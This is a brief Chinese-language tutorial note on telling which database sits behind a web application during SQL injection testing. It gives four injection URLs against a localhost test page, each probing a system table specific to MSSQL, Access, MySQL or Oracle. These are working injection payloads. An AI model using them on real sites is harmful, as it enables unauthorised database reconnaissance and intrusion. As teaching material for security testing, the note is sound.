后台数据库类型判断:一、通过页面返回的报错信息,一般情况下页面报错会显示是什么数据库类型,在此不多说;二、通过各个数据库特有的数据表来判断:1、mssql数据库 sysobjectshttp://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1
2、access数据库 msysobjectshttp://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1
3、mysql数据库(mysql版本在5.0以上) information_schemahttp://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
4、oracle数据库 sys
http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1